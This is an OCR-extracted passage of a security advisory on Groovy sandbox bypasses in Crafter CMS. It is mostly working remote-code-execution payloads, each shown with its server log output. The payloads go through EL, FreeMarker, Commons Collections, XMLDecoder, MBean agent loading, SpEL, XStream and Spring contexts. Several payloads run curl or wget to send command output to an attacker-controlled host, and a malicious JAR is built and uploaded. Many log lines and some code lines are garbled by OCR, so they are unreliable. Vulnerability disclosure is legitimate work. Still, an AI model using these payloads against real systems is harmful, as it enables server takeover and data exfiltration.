[ 7 [pool-67-thread-1] [test] [context. hi '

[ [pool-67-thread-1] [test] [context.SiteContext]

[pool-67-thread-1] [test] [context.SiteContext] | </Ini
[ 1 [pool-67-thread-1] [test] [context.SiteContext]
CommandLine + launch: u crafter) gid=1000(crafter) groups=1000(crafter)

[INFO] 2025-08- :15:05,859 [pool-30-thread-1] [] [context.SiteContextManager] | =
[INFO] 2025-08- :15:05,859 [pool-30-thread-1] [] [context.SiteContextManager] | </Rebuilding site context: 'test
[INFO] 2025-08- :15:05,859 [pool-30-thread-1] [] [context.SiteContextManager] | =

4

https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/DefaultExecutor.htmli#e
xecute(org.apache.commons.exec.CommandLine)
5

https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/DefaultExecutor.htmli#la
unch(org.apache.commons.exec.CommandLine,java.util. Map,java.io.File)
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10. JakartaEL:

By leveraging access to the Jakarta EL scripting component, an attacker may
create a new “ELProcessor” that will try to parse a given string as an EL Script.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

def el = new jakarta.el.ELProcessor()

def proc = el.eval('Runtime.getRuntime().exec("id")")
def output = proc.getinputStream().getText()
printin "EL RCE: " + output

Browser View:

latest-articles.groovy - /7 X
i /*
2 * Copyright (C) 2007-2022 Crafter Software Corporation. All Rights Reserved.
3
4 * This program is free software: you can redistribute it and/or modify
5 * it under the terms of the GNU General Public License version 3 as published by
6 * the Free Software Foundation.
7+
8 * This program is distributed in the hope that it will be useful,
9 * but WITHOUT ANY WARRANTY; without even the implied warranty of
10  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 * GNU General Public License for more details.
12+
13  * You should have received a copy of the GNU General Public License
14 * along with this program. If not, see <http://www.gnu.org/licenses/>.
15 #*/
16
17 |def el = new jakarta.el.ELProcessor()
18

19 |def proc = el.eval('Runtime.getRuntime().exec("id")")
20 |def output = proc.getInputStream().getText()
21 |println "EL RCE: " + output

Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-15T16:33:05,376 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{ ' ', xt=FileSystemCon
text{id='160edb10802b1897f335a7f68f28e4f9', rootFolderPath="file:/opt/crafter/dat S ic-assets', template
sPath='/templates', restScriptsPath="'/scripts ', controllerScriptsPath=

[INFO] 2 -08-15T16:33

[INFO] 2025-08-

[INFO]

[INFO]

o

-38-thread-1]
-1]
-1]
-1] xt.Si 3 ng GraphQL
-1] st] [g .GraphQLFactory] | No custom GraphQL schema found for site
-1] s greé .GraphQLFactory] | Updating GraphQL schema with custom fiel
-1] < .SiteContext] | GraphQL schema build completed for si
-1] S xt.SiteContext] | - -- --
[INFO] -1] SiteContext] |
[INED] 26 L : =11 [test] [context.SiteContext] | ---
EL RCE: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)

[INFO]
[INFO]
[INFO]
[INFO]

At nn

5o o
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11. Object Factories:

a. FreeMarker "DefaultObjectWrapper":

By leveraging access to the FreeMarker “DefaultObjectWrapper” class, an
attacker may create arbitrary Java objects that would otherwise have their
constructors restricted by the Groovy sandbox.

In order to perform the exploit the following payload was used:

x = new freemarker.template.DefaultObjectWrapper().newlnstance(ProcessBuilder.class,
null).command(["id"]).start()
println "FreeMarker DefaultObjectWrapper: " + new String(x.getlnputStream().readAllBytes())

Browser View:

latest-articles.groovy - /7 X

1 x = new freemarker.template.DefaultObjectWrapper().newInstance(ProcessBuilder.class, null).command(["id"]).start()
2 println "FreeMarker DefaultObjectWrapper: " + new String(x.getInputStream().readAl1Bytes())

Result:

[INFO] 2025-08-22T20:35:560,820 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName='test', context=FileSystemCon
text{id="0ea48a727314749c2db5470124bd358f"', rootFolderPath="'file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath="'/templates', restScriptsPath='/scripts/rest", controllerScriptsPath="/scripts/controllers'}’

[INFO] 2025-08- ,820 [pool-74-thread-1] [test] [context.SiteContext] |

[INFO] 2025-08- ,820 [pool-30-thread-1] [] [context.SiteContextManager] |

[INFO] 2025-08- ,820 [pool-30-thread-1] [] [context.SiteContextManager]

[INFO] 2025-08- ,820 [pool-30-thread-1] [] [context.SiteContextManager] | =

[INFO] 2025-08- ,821 [pool-74-thread-1] [test] [context.SiteContext] | <Initializing site conte:

[INFO] 2025-068- ,821 [pool-74-thread-1] [test] [context.SiteContext] |

[INFO] 2025-08- ,821 [pool-74-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site

[INFO] 5-08- ,856 [pool-74-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test'

[INFO] -08- ,856 [pool-74-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] -08- ,863 [pool-74-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for site 'test' in 0 secs

[INFO] -08- ,864 [pool-74-thread-1] [test] [context.SiteContext]

[INFO] - 0¢ c ,865 [pool-74-thread-1] [test] [context.SiteContext] | </Initial

[INFO] € :35:50,866 [pool-74-thread-1] [test] [context.SiteContext]

FreeMark: jectWrapper: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
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b. Apache Common Collections:

By leveraging access to the Apache Common Collections “FactoryUtils" class,
an attacker may create arbitrary Java objects that would otherwise have their
constructors restricted by the Groovy sandbox.

In order to perform the exploit the following payload was used:

X = org.apache.commons.collections.FactoryUtils.instantiateFactory(ProcessBuilder.class,
new Class[]{String[].class}, new Object[l{new String[]{"id"}})

println "Common Collections instantiateFactory: " + new
String(x.create().start().getlnputStream().readAllBytes())

Browser View:

latest-articles.groovy - /7 X

1 x = org.apache.commons.collections.FactoryUtils.instantiateFactory(ProcessBuilder.class, new Class[]1{String[].class}, new Object[]{new String[]{"id"}})
2 println "Common Collections instantiateFactory: " + new String(x.create().start().getInputStream().readAl1Bytes())

Result:

[INFO] 2025-08-22T720:05:18,304 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: iteContex N est', context=FileSystemCon
3f2463027a43b6e1b6d2c6e3233bff14"', rootFolderPath='file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback: se, stati sets /static-assets', template
templates', restScrip ', controllerScriptsPath cripts/controllers'}

[INFO] 2025-08-2 -50-thread-1] [test] [cont SiteContext] | -

[INFO] -50-thread-1] [test] [context.SiteContext]

[INFO] -50-thread-1] [test] [context.SiteContext] | -

[INFO] 2 -50-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site

[INFO] 2 50-thread-1] [test] [graphgl.GraphQLFactory] | No custom GraphQL schema found for site 'test'

[INFO] 50-thread-1] [test] [graphgl.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] 50-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for site 'test' in 0 secs
50-thread-1] [test] [context.SiteContext] | -
50-thread-1] [test] [context.SiteContext] | <
50-thread-1] [test] [context.SiteContext] |

"

NN NN
@

[INFO]
[INFO]
[INFO] H

Common i d uid=1000(crafter) gid=1000(crafter) group

NN NN

~

[INFO] 25-08-22T720:05: 8 30-thread-1] [] [ text.SiteContextManager] |
25-08-22T720: -30-thread- cont: SiteContextManager <

INFO 25-08-22T2 30-th d-1 SiteC M,

[INFO] 2025-0 119, 4¢ -30-thread-1] [] [context.SiteContextManager]
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12. Tomcat Instance Manager + Method Closure:

Unlike the Java Object Factories mentioned above, the Tomcat
“SimplelnstanceManager” class can only be used to instantiate objects that have
a constructor that does not take any arguments, thus limiting the selection of
Java classes that can be used for RCE.

In this case we have chosen to create an object of class
“javax.script.ScriptEngineManager”, but as the “getEngineByName" and “eval”
functions are restricted we will require another class that can allow us to call
these otherwise restricted functions. In this example we have chosen the
“org.codehaus.groovy.runtime.MethodClosure” class.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

X = hew
org.apache.tomcat.SimplelnstanceManager().newlnstance('javax.script.ScriptEngineMan
ager')

y = new org.codehaus.groovy.runtime.MethodClosure(x,
"getEngineByName").doCall(["groovy"])

new org.codehaus.groovy.runtime.MethodClosure(y, "eval").doCall(["println 'Insance
Manager + Clojure: ' + 'id'.execute().text"])

Browser View:

latest-articles.groovy - /7 X

1 x = new org.apache.tomcat.SimpleInstanceManager().newInstance('javax.script.ScriptEngineManager')

2

3 y = new org.codehaus.groovy.runtime.MethodClosure(x, "getEngineByName").doCall(["groovy"])

4 new org.codehaus.groovy.runtime.MethodClosure(y, "eval").doCall(["println 'Insance Manager + Clojure: ' + 'id'.execute().text"])
5]

z
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Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-25T10:42:19,147 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName="test', context=FileSystemCon
text{id="'3167cfa73015e33adbaf66a6a81e016f', rootFolderPath="'file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath="/templates', restScriptsPath="/scripts/rest", controllerScriptsPath="/scripts/controllers’}"

2025-08-25 10:42:19.206 INFO 20 --- [deployment-8] org.craftercms.deployer.impl.Ta

[INFO] 2025-0 10:42:19,148 [pool-82-thread-1] [test] [context.SiteContext]

2025-08-25 10:42:19.206 INFO 20 --- [deployment-8] org.craftercms.deployer.impl.

[INFO] 2025-08-25T10:42:19,148 [pool-82-thread-1] [test] [context.SiteContext] | <Initializing site context: test>

2025-08-25 10:42:19.206 INFO 20 --- [deployment-8] org.craftercms.deployer.impl.TargetImpl

[INFO] 119,148 [pool-82-thread-1] [test] [context.SiteContext]

[INFO] -08-25T10:42:19,148 [pool-82-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site 'test

[INFO] -08-25T10:42:19,148 [pool-30-thread-1] [] [context.SiteContextManager]

[INFO] -08-25T10:42:19,148 [pool-30-thread-1] [] [context.SiteContextManager] | </Rebuilding site context

[INFO] -08-25T10:42 5 [pool-30-thread-1] [] [context.SiteContextManager] | =

[INFO] -08-25T10:42 o [pool-82-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test

[INFO] 5 [pool-82-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] 7 [pool-82-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for site 'test' in 0 secs

[INFO] 2025-68-25T10 [pool-82-thread-1] [test] [context.SiteContext]

[INFO] 2025-08-25T10 N [pool-82-thread-1] [test] [context.SiteContext] | </Initial

[INFO] 2025-08-25710:42:19.285 [pool-82-thread-11 [test] [context.SiteContext] |

Insance Manager + Clojure: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)

13. Beans XMLDecoder:

By leveraging the “java.beans.XMLDecoder"” class an attacker is able to construct
arbitrary Java objects and call arbitrary Java functions via XML strings bypassing
the Groovy Sandbox.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

import java.beans.XMLDecoder

xml = ""'<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder" >
<object class="java.lang.ProcessBuilder" >
<array class="java.lang.String" length="3">
<void index="0">
<string>bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl 172.17.0.1:8000/?xmlbeans=$(id | base64 -w0)</string>
</void>
</array>
<void method="start" />
</object>
<[java>""

x = new XMLDecoder(org.apache.commons.io.lOUtils.tolnputStream(xml, "UTF-8"));
result = x.readObject();
x.close();
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Note: We took the XML Payload from
https://github.com/pwntester/XMLDecoder/blob/master/bean-rce.xml.

Browser View:

latest-articles.groovy - /7 X

1 import java.beans.XMLDecoder

3 xml = "''<?xml version="1.0" encoding="UTF-8"?>

4 <java version="1.7.0 21" class="java.beans.XMLDecoder">
5 <object class="java.lang.ProcessBuilder">

6 <array class="java.lang.String" length="3">

7 <void index="0">

8 <string=bash</string>

9 </void>

10 <void index="1">

11 <string>-c</string>

12 </void>

13 <void index="2">

14 <string>curl 172.17.0.1:8000/?xmlbeans=$(id | base64 -w0)</string>
15 </void>

16 </array>

17 <void method="start" />

18 </object>
19 </java>'''

21 x = new XMLDecoder (org.apache.commons.io.I0Utils.toInputStream(xml, "UTF-8"));
22 result = x.readObject();

23 x.close();

A

With the script saved, once we refresh any page that loads the script we can
observe that the malicious “curl” command is executed exfiltrating the result of
the "“id" Linux command:

: S python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

172.20.0.4 - - [25/Aug/2025 17:44:44] "GET /?xmlbeans=dWlkPTEwMDAoY3JhZnRlcikgZ21kPTEWMDAoY3JhZnR1lcikgZ3IvdXBzPTEWMDAoY3JhZnRlcikK HTTP/1.1" 200 -
AC
Keyboard interrupt received, exiting.
< $ base64 -d <<< dWLkPTEwMDAoY3JhZnRlcikgZ21kPTEwMDAoY3JhZnR1cikgZ3JvdXBzPTEwMDAoY3JhZnR1lcikK
uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
. &
: 2

14. MBeans:

By leveraging powerful default Java MBeans (e.g.
“com.sun.management:type=DiagnosticCommand”) an attacker is able to call
operations such as “jvmtiAgentLoad"” that will parse and execute arbitrary JAR
files and/or C Shared Libraries (“.s0"” or “.dll") and by extension execute arbitrary
system commands on the target.

The first step to performing the MBean exploit is to create a valid JVMTI Agent
JAR or SO file. In this example we have generated the file “mal.jar" using the
following Linux commands on the attacker’s machine:

git clone https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
cd jvmtiAgentLoad-Exploit/
bash create_jar.sh linux 'curl 172.17.0.1:8000/?mbean=$(id|base64 -w0)"'
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Attacker View:

2 $ bash create_jar.sh linux 'curl 172.17.0.1:8000/?mbean=5(1id|base64 -w0)'
warning: [options] bootstrap class path not set in conjunction with -source 8
warning: [options] source value 8 is obsolete and will be removed in a future release
warning: [options] target value 8 is obsolete and will be removed in a future release
warning: [options] To suppress warnings about obsolete options, use -Xlint:-options.
4 warnings

adding: JavaAgent.class (deflated 31%)
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 2%)
- S ls -la mal.jar
-rw-rw-r-- 1 guest guest 989 Aug 28 13:21
: $

As the “jvmtiAgentLoad"” function only accepts loading local files, for security
reasons, our first step is to upload the newly created JAR on the target system.

This can be achieved using the “Upload” functionality on one of the Crafter CMS
folders that accept arbitrary files (e.g. “static-assets”).

Browser View:

@ = testv 4 € [ Home : v O LS E S Q

83 Dashboard > «  Padding mode (p)

[2 Pages € 0O Y O Q, Ssearch >
Howdy, stranger

5k Components St Create Content >

© Taxonomy 24 Existing Content >
1, I'm Editorial

[ static Assets C Hl, I m ltorla & Drop Targets >

v QO static-assets

v OOcss. [ Assets >

Bl font-awesome.m Bess
B jquery-ui.min.css e in | Audience Targeting >
B main.css New Folder Upload < |
B socialmedia-wid oo Cut ser Iris. | Page Explorer >
» OOfonts |
» OCimages Rename Copy |m. Lorem Ip: ors [0 Device Simulator >
» O0Oijs Copy with children
= LICENSE txt Publich 6% Sefttings >
= README.txt
) Templates

5, 6:35 PM By git_repo_user

<> Scripts
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Upload (1/1)

maljar

/ application/x-java-archive @ 989 B

With the file uploaded at a known location (in the case of the default Crafter CMS
docker image the static asset files are located in the path
"lopt/crafter/data/repos/sites/test/sandbox/static-assets/"), we can proceed
calling the "“jvmtiAgentLoad" operation with the path to the uploaded file.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

import java.lang.management.ManagementFactory
import javax.management.ObjectName

def mbeanServer = ManagementFactory.getPlatformMBeanServer ()
def objectName = new ObjectName("com.sun.management:type=DiagnosticCommand")

def agentPath = "/opt/crafter/data/repos/sites/test/sandbox/static-assets/css/mal.jar"

Object[] params = [ [agentPath] as String[] ]
String[] sig = [ String[].class.name ]

mbeanServer.invoke(objectName, "jvmtiAgentLoad", params, sig)

Browser View:

latest-articles.groovy - /7 X

1 import java.lang.management.ManagementFactory
import javax.management.ObjectName

def mbeanServer = ManagementFactory.getPlatformMBeanServer()
def objectName = new ObjectName("com.sun.management:type=DiagnosticCommand")

def agentPath = "/opt/crafter/data/repos/sites/test/sandbox/static-assets/css/mal.jar"

9 Object[] params = [ [agentPath] as String[] ]
10 String[] sig = [ String[].class.name ]

12 mbeanServer.invoke(objectName, "jvmtiAgentlLoad", params, sig)
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With the script saved, once we refresh any page that loads the script we can
observe that the malicious “curl” command is executed exfiltrating the result of
the “id" Linux command:

m guest@tester: ~/Desktop/CraftercMs

3 $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (htt /0.0.0.0:8000/) ..

172.20.0.4 - - [28/Aug/2025 13:25:49] "GET /?mbean=dWlkPTEwWMDAoY3JhZnR1lcikgZ21kPTEWMDAoY3JhZnR1lcikgZ3IvdXBzPTEWMDAOY3JhZnR1cikK HTTP/1.1" 200 -

~C

Keyboard interrupt received, exiting.
3 s e64 -d <<< dWLkPTEwMDAoY3JhZnR1lcikgZ21kPTEwMDA0Y3JhZnR1lcikgZ3JvdXBzPTEwMDAOY3JhZnR

uld=1000(crafter) gid:1000(crafter)_groups:1000(crafter)

By monitoring the output of the CrafterCMS server logs (in this case the running
docker logs) we can also observe the Java warnings that the agent “mal.jar" has
indeed been loaded:

[INFO] 2025-08-28T10:25:48,301 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName="test', context=FileSystemCon
text{id="'a630e25f072e476f3dfbad5f89d1cd8d', rootFolderPath='file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath="'/templates', restScriptsPath="/scripts/rest", controllerScriptsPath="/scripts/controllers'}'

[INFO] 2025-08-28T10 148,301 [pool-92-thread-1] [test] [context.SiteContext]

[INFO] 2025-08-28T10 148,302 [pool-92-thread-1] [test] [context.SiteContext] | <Initializing site contex

[INFO] 2025-08-28T10 148,302 [pool-92-thread-1] [test] [context.SiteContext] | ----

[INFO] 2025-08-28T10 148,302 [pool-92-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site 'test

[INFO] 2025-08-28T10 148,662 [pool-92-thread-1] [test] [graphgl.GraphQLFactory] | No custom GraphQL schema found for site 'test'

[INFO] 2025-08-28T10 8,662 [pool-92-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] 2025-08-28T10 148,719 [pool-92-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for site 'test' in 0 secs

[INFO] 2025-08-28T10 148,719 [pool-92-thread-1] [test] [context. -

[INFO] 2025-08-28T10 148,719 [pool-92-thread-1] [test] [context. C X itializi i xt: tes

[INFO] 2625-08-28T710:25: [pool-92-thread-11 [test] [context teContext] | ---- sz

WARNING: A Java agent loaded dynamically (/opt/crafter/data/repos/sites/test/sandbox/static-assets/css/mal.jar)

WARNING: If a serviceability tool is in use, please run with -X EnableDynamicAgentLoading to hide this warning

WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information

WARNING: Dynamic loading of agents will be disallowed by default in a future release

[INFOUT Z0725-08-28T10:25:49,531 [pool-30-thread-1] [] [context.stiteContextManager ] [

[INFO] 2025-08-28T10 49,532 [pool-30-thread-1] [] [context.SiteContextManager] | Rebuilding site context

[INFO] 2025-08-28T10:25:49,533 [pool-30-thread-1] [] [context.SiteContextManager] | =

[2025-08-28T10:26:42,756][INFO ][0.0.j.s.JobSweeper 1 [d800@9ac872b7] Running full sweep
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Appendix:

Groovy Script calling AST Transformations:

@GrabConfig(disableChecksums=true)
@GrabResolver(name="'mal', root="http://172.17.0.1:8000/")
@Grab(group='rce', module="'mal', version='13')

import Payload;

Content of Java file “Mal.java"

public class Mal {
public Mal() {
try {
String payload = "wget 172.17.0.1:8000/?mal=$(id | base64 -w0)";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }

Linux commands for creating and hosting the malicious JAR folder:

javac Mal.java

mkdir -p META-INF/services/

echo Mal > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf mal-13.jar *

mkdir -p rce/mal/13/

mv mal-13.jar rce/mal/13/

Groovy Script calling “SpelExpressionParser":

def parser = new org.springframework.expression.spel.standard.SpelExpressionParser()

def expr = parser.parseExpression(""
new java.io.BufferedReader(
new java.io.InputStreamReader (
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)
).readLine()
III)
output = expr.getValue()
println "SpEL RCE: " + output
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Groovy Script calling “GroovyShell":

def shell = new GroovyShell()
def script = """
println "GroovyShell RCE: " + "id".execute().text

nnn

shell.evaluate(script)

Groovy Script calling “GenericApplicationContext":

import org.springframework.context.support.GenericApplicationContext
import org.springframework.beans.factory.support.RootBeanDefinition

def ctx = new GenericApplicationContext()

ctx.beanFactory.registerBeanDefinition("sanki", new
RootBeanDefinition(Class.forName('java.lang.ProcessBuilder')).tap {
it.constructorArgumentValues.addindexedArgumentValue(O, ['bash’, '-c', 'curl
172.17.01:4444/?$(whoami)'])
it.initMethodName = 'start'

}H

ctx.refresh()

Groovy Script calling “ClassPathXmlIApplicationContext":

X = hew
org.springframework.context.support.ClassPathXmlApplicationContext("http://172.17.0.1:8000/mal.xml")

Contents of “mal.xml"” used by “ClassPathXmlApplicationContext":

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlIns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd" >
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>curl "172.17.01:8000/?$(id | base64 -w0)"</value>
</list>
</constructor-arg>
</bean>
</beans>
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Groovy Script calling “SimpleTemplateEngine":

import groovy.text.SimpleTemplateEngine
def templateText = 'Template RCE: <%= "id".execute().text %>'

def engine = new SimpleTemplateEngine()
def template = engine.createTemplate(templateText)

printin template.make().toString()

Groovy Script executing “XStream”:

def xstream = new com.thoughtworks.xstream.XStream()
try {
xstream.addPermission(com.thoughtworks.xstream.security.AnyTypePermission.ANY)
def xml = """
<java.lang.ProcessBuilder>
<command>
<string>id</string>
</command>
</java.lang.ProcessBuilder>
def obj = xstream.fromXML (xml)
def result = obj.start()
def reader = new BufferedReader(new InputStreamReader(result.getinputStream()))
def line
while ((line = reader.readLine()) != null) {
println "XStream Exploit: " + line
}
} catch (Exception e) {
e.printStackTrace()

}

Groovy Script executing BeanShell scripts:

def bsh = new bsh.Interpreter()

def proc = bsh.eval('Runtime.getRuntime().exec("id")")
def output = proc.getinputStream().getText()
printin "BeanShell RCE: " + output

Groovy Script executing “ConfigSlurper™:

|new ConfigSlurper().parse("printin 'ConfigSlurper: ' + 'id'.execute().text")
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Groovy Script executing Commons Exec:

import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;

x = new CommandLine("id")
y = new DefaultExecutor()

printin "CommandLine + launch: " + new String(y.launch(x, null, null).getinputStream().readAllBytes())

Groovy Script executing Jakarta EL:

def el = new jakarta.el.ELProcessor()

def proc = el.eval('Runtime.getRuntime().exec("id")")
def output = proc.getinputStream().getText()
println "EL RCE: " + output

Groovy Script executing FreeMarker “DefaultObjectWrapper™:

x = new freemarker.template.DefaultObjectWrapper().newlnstance(ProcessBuilder.class,
null).command(["id"]).start()
println "FreeMarker DefaultObjectWrapper: " + new String(x.getlnputStream().readAllBytes())

Groovy Script executing Apache Common Collections “FactoryUtils":

X = org.apache.commons.collections.FactoryUtils.instantiateFactory(ProcessBuilder.class, new
Class[]{String[].class}, new Object[]{new String[]{"id"}})

printin "Common Collections instantiateFactory: " + new
String(x.create().start().getinputStream().readAllBytes())
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Groovy Script executing “java.beans.XMLDecoder":

import java.beans.XMLDecoder

xml = ""'<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder" >
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl 172.17.0.1:8000/?xmlbeans=$(id | base64 -w0)</string>
</void>
</array>
<void method="start" />
</object>
</java>""

x = new XMLDecoder(org.apache.commons.io.lOUtils.tolnputStream(xml, "UTF-8"));
result = x.readObject();
x.close();

Linux commands used to generate a malicious JVMTI Agent Jar:

git clone https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
cd jvmtiAgentLoad-Exploit/
bash create_jar.sh linux 'curl 172.17.0.1:8000/?mbean=$(id|base64 -w0)'

Groovy Script executing MBean operation “jvmtiAgentLoad":

import java.lang.management.ManagementFactory
import javax.management.ObjectName

def mbeanServer = ManagementFactory.getPlatformMBeanServer ()
def objectName = new ObjectName("com.sun.management:type=DiagnosticCommand")

def agentPath = "/opt/crafter/data/repos/sites/test/sandbox/static-assets/css/mal.jar"

Object[] params = [ [agentPath] as String[] ]
String[] sig = [ String[].class.name ]

mbeanServer.invoke(objectName, "jvmtiAgentLoad", params, sig)

From vulnerability scans to proof, Pentest-Tools.com gives 2,000+ security teams in 119 countries the
speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure
(network, cloud, web apps, APIs).

30




	PTT-2025-022 – Groovy Sandbox Bypass 
	CVE-ID: CVE-2026-1770 
	Credits: 
	Environment: 
	​​CVSSv3: 7.2 High - AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 
	Description: 
	Requirements: 
	​​Fix: 
	 
	Proof of Concept: 
	 
	Appendix: 

